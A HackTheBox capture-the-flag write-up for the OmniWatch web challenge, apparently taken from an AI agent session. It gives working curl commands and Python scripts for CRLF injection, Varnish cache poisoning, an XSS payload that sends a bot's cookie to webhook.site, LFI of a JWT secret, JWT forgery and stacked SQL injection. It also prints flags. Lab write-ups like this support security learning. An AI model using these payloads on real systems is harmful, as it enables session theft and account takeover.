webfreehard

OmniWatch (session replay)

HackTheBox

Task: a Varnish-fronted Zig and Flask application with CRLF injection, reflected XSS, LFI, JWT handling, and SQLi. Solution: poison the oracle cache to steal a moderator JWT, read the JWT secret via LFI, forge an admin token, insert its signature with stacked SQLi, and access the admin page.

$ ls tags/ techniques/
jwt_forgeryreflected_xsscrlf_header_injectionvarnish_cache_poisoningcookie_stealingstacked_sqlilfi_absolute_pathbot_timing

OmniWatch - HackTheBox

This is a detailed solution reconstructed from the OpenCode session OmniWatch hackthebox challenge and its actual exploitation on a live instance.

Important: the exploitation chain is identical to the old writeup, but the final hash inside the flag is different for this instance.

Description

The crew has uncovered the IP address of a web interface used by the mercenary group called "Gunners" to track and spy on their enemies. To locate an elusive black market dealer for a critical trade, the team must hack into this gunners network and retrieve the last known location of a caravan that was recently ambushed in the wasteland.

English summary: the target is a Varnish-fronted application with a Zig oracle service, a Flask controller, and a headless moderator bot. The goal is to chain multiple bugs to reach the admin panel and recover the flag.

Analysis

Result

Flag:

HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_5dd9416e302bfbdfc0f31d1acdc94f2d}

Chain:

  1. CRLF injection in the Zig oracle via deviceId
  2. Varnish cache poisoning by injecting CacheKey: enable
  3. Reflected XSS via mode
  4. Theft of the moderator JWT from the headless bot
  5. LFI via /controller/firmware to read /app/jwt_secret.txt
  6. Administrator JWT forgery
  7. Stacked SQLi to add the forged signature into signatures
  8. Visit /controller/admin and recover the flag

Quick reconnaissance

The first thing that stands out:

curl -I http://TARGET/

Response:

HTTP/1.1 301 Moved Permanently Server: Varnish Location: /controller

So the application is behind Varnish, which immediately suggests cache poisoning, key confusion, or other unkeyed-input issues.

Next, inspect /oracle:

curl -sv http://TARGET/oracle/json/1

This returns useful headers:

HTTP/1.1 200 OK Content-Type: application/json DeviceId: 1 Cache-Control: public, max-age=0 X-Cache: MISS

Two things matter immediately here:

  • DeviceId is reflected from the URL
  • the application is behind Varnish and already sets caching headers

Challenge architecture

From the source code, the layout looks like this:

Varnish ├── /controller/* -> Flask/Python └── /oracle/* -> Zig/httpz Chromium bot: 1. logs in as moderator 2. then visits /oracle/json/{id}

This is already suspicious: if /oracle/json/... can be poisoned, the bot will open the poisoned page itself while carrying the moderator cookie.


Step 1. Why cache poisoning works at all

The critical part of cache.vcl is:

sub vcl_hash { hash_data(req.http.CacheKey); return (lookup); } sub vcl_backend_response { if (beresp.http.CacheKey == "enable") { set beresp.ttl = 10s; set beresp.http.Cache-Control = "public, max-age=10"; } else { set beresp.ttl = 0s; set beresp.http.Cache-Control = "public, max-age=0"; } }

The idea is simple:

  • if the backend returns CacheKey: enable, Varnish caches the response for 10 seconds
  • otherwise caching is effectively disabled

So the goal is to make the backend return that header.


Step 2. CRLF injection in the Zig oracle

From main.zig:

router.get("/oracle/:mode/:deviceId", oracle); const deviceId = req.param("deviceId").?; const mode = req.param("mode").?; const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId); const decodedMode = try std.Uri.unescapeString(allocator, mode);

Then decodedDeviceId is placed into the DeviceId header, and the value is written without sanitization. During the session it was separately verified that headers in response.zig are rendered as:

name: value\r\n

If value already contains \r\n, a new header is created.

Verification:

curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes'

After this, the response contains the injected header, proving the CRLF works.

Next check:

curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'

The response now contains:

CacheKey: enable Cache-Control: public, max-age=10

So caching is now enabled.


Step 3. Where the XSS comes from

mode is reflected into the HTML body of the oracle page. That means the page can be made HTML instead of JSON and used to carry XSS.

We need two things at the same time:

  1. inject headers through deviceId
  2. inject HTML/JS through mode

There is one complication: the Zig router splits the path on /, so raw slashes inside the XSS break the route.

The session found the following workaround:

  • use %2F inside mode
  • the router treats %2F as part of the segment, and Zig later decodes it back to /

Verification:

curl --path-as-is \ 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'

The body becomes:

<p>Mode: test/with/slashes</p>

So the bypass works correctly.


Step 4. Full poisoned response

The final poisoning combination is:

  • mode = XSS payload
  • deviceId = 1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml

Purpose:

  • CacheKey: enable — enable caching
  • Content-Type: text/html — force the browser to render HTML instead of JSON

Working test from the session:

WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is -sv \ "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}"

Then verify the cache:

curl -sv http://TARGET/oracle/json/5

This returns:

CacheKey: enable Content-Type: text/html X-Cache: HIT

So any request to /oracle/json/* now returns the poisoned HTML.


Step 5. Bot timing

The challenge exposes this endpoint:

curl http://TARGET/controller/bot_running

It returns running or not_running.

From the bot logic and the session:

  • the bot logs in as moderator
  • after startup, waiting about 4 seconds is required
  • then it visits /oracle/json/{id}

Working loop:

  1. poll /controller/bot_running
  2. as soon as it returns running, wait 4 seconds
  3. poison the cache
  4. wait until the bot lands on poisoned /oracle/json/...
  5. collect the cookie from webhook.site

Working script from the session:

WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" TARGET="http://TARGET" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" for i in $(seq 1 120); do STATUS=$(curl -s --max-time 3 "$TARGET/controller/bot_running") if [ "$STATUS" = "running" ]; then sleep 4 curl --path-as-is -s "$TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" > /dev/null sleep 12 curl -s "https://webhook.site/token/${WEBHOOK_UUID}/requests?sorting=newest&per_page=3" break fi sleep 0.5 done

Session result:

[+] STOLEN COOKIE: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....

This yields the moderator JWT.


Step 6. LFI to read the JWT secret

Next, analyze the Flask code.

From config.py:

class Config(object): JWT_KEY = open("/app/jwt_secret.txt", "r").read()

So if there is a file-read primitive, the path is already known.

In this challenge, /controller/firmware uses os.path.join() with attacker-controlled input. An absolute path bypasses the base directory, so /app/jwt_secret.txt can be requested directly.

Request from the session:

curl -s -X POST "$TARGET/controller/firmware" \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"

Response:

#c3UqSHyi4nH2k7

That is the JWT secret for the current instance.


Step 7. Why a forged JWT alone is not enough

From routes.py:

signature = jwt_cookie.split(".")[-1] saved_signature = mysql_interface.fetch_signature(user_id) if saved_signature != signature: mysql_interface.delete_signature(user_id) return redirect("/controller/login")

So the token must not only be cryptographically valid: its signature must also match the value stored in the database.

That means a second step is required: insert the new signature into the signatures table.


Step 8. Stacked SQLi

From database.py:

def query(self, query, args=(), one=False, multi=False): ... if not multi: cursor.execute(query, args) else: queries = query.split(";") for statement in queries: cursor.execute(statement, args)

The application itself splits the query on ; and executes statements one by one. If any query is built through an f-string, stacked SQLi becomes trivial.

The session used a payload like this:

payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- "

It was then sent to the device endpoint:

requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, )

After that, the table signatures contains the signature for the forged admin JWT.


Step 9. Forged admin JWT + flag

Create the token:

import jwt admin_jwt = jwt.encode( { 'user_id': 999, 'username': 'admin', 'account_type': 'administrator', }, SECRET, algorithm='HS256' )

Then:

  1. extract its signature
  2. insert that signature into the database through SQLi
  3. visit /controller/admin with the forged JWT

Working code from the session:

import jwt, requests, urllib.parse, re TARGET = 'http://TARGET' SECRET = '#c3UqSHyi4nH2k7'.strip() uid = 999 admin_jwt = jwt.encode( {'user_id': uid, 'username': 'admin', 'account_type': 'administrator'}, SECRET, algorithm='HS256' ) sig = admin_jwt.split('.')[-1] payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- " requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, ) r = requests.get( f'{TARGET}/controller/admin', cookies={'jwt': admin_jwt}, timeout=10, allow_redirects=False, ) print(re.search(r'HTB\{[^}]+\}', r.text).group(0))

Result:

HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_5dd9416e302bfbdfc0f31d1acdc94f2d}

Full solve path in one place

1. Check the oracle and cache

curl -I http://TARGET/ curl -sv http://TARGET/oracle/json/1

2. Confirm CRLF

curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes' curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'

3. Verify %2F inside mode

curl --path-as-is 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'

4. Poison the cache with an XSS page

WEBHOOK_UUID="..." XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" curl -sv http://TARGET/oracle/json/5

5. Catch the bot

curl http://TARGET/controller/bot_running

Then poll → wait 4s → poison → collect the cookie.

6. LFI

curl -s -X POST http://TARGET/controller/firmware \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"

7. Forge admin JWT + stacked SQLi + admin page

Use the script shown above.


Why this challenge is good

This is not a single bug, but a real chain:

  • CRLF alone does not give the flag
  • XSS alone does not give the flag
  • LFI alone does not give the flag
  • JWT forgery alone does not give the flag

Everything had to be linked together:

CRLF -> CacheKey -> Varnish poisoning -> XSS on bot -> stolen moderator JWT -> LFI -> JWT secret -> forged admin JWT -> SQLi -> valid signature in DB -> /admin -> flag

Difference from the old writeup

The old writeup had the same exploit path, but a different flag:

HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_8fc99d8ee3ac893c30b18787f09ceda6}

In this replayed session the chain was identical, and only instance-specific values changed:

  • stolen moderator JWT
  • jwt_secret.txt
  • final flag suffix

The exploitation flow itself is exactly the same.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups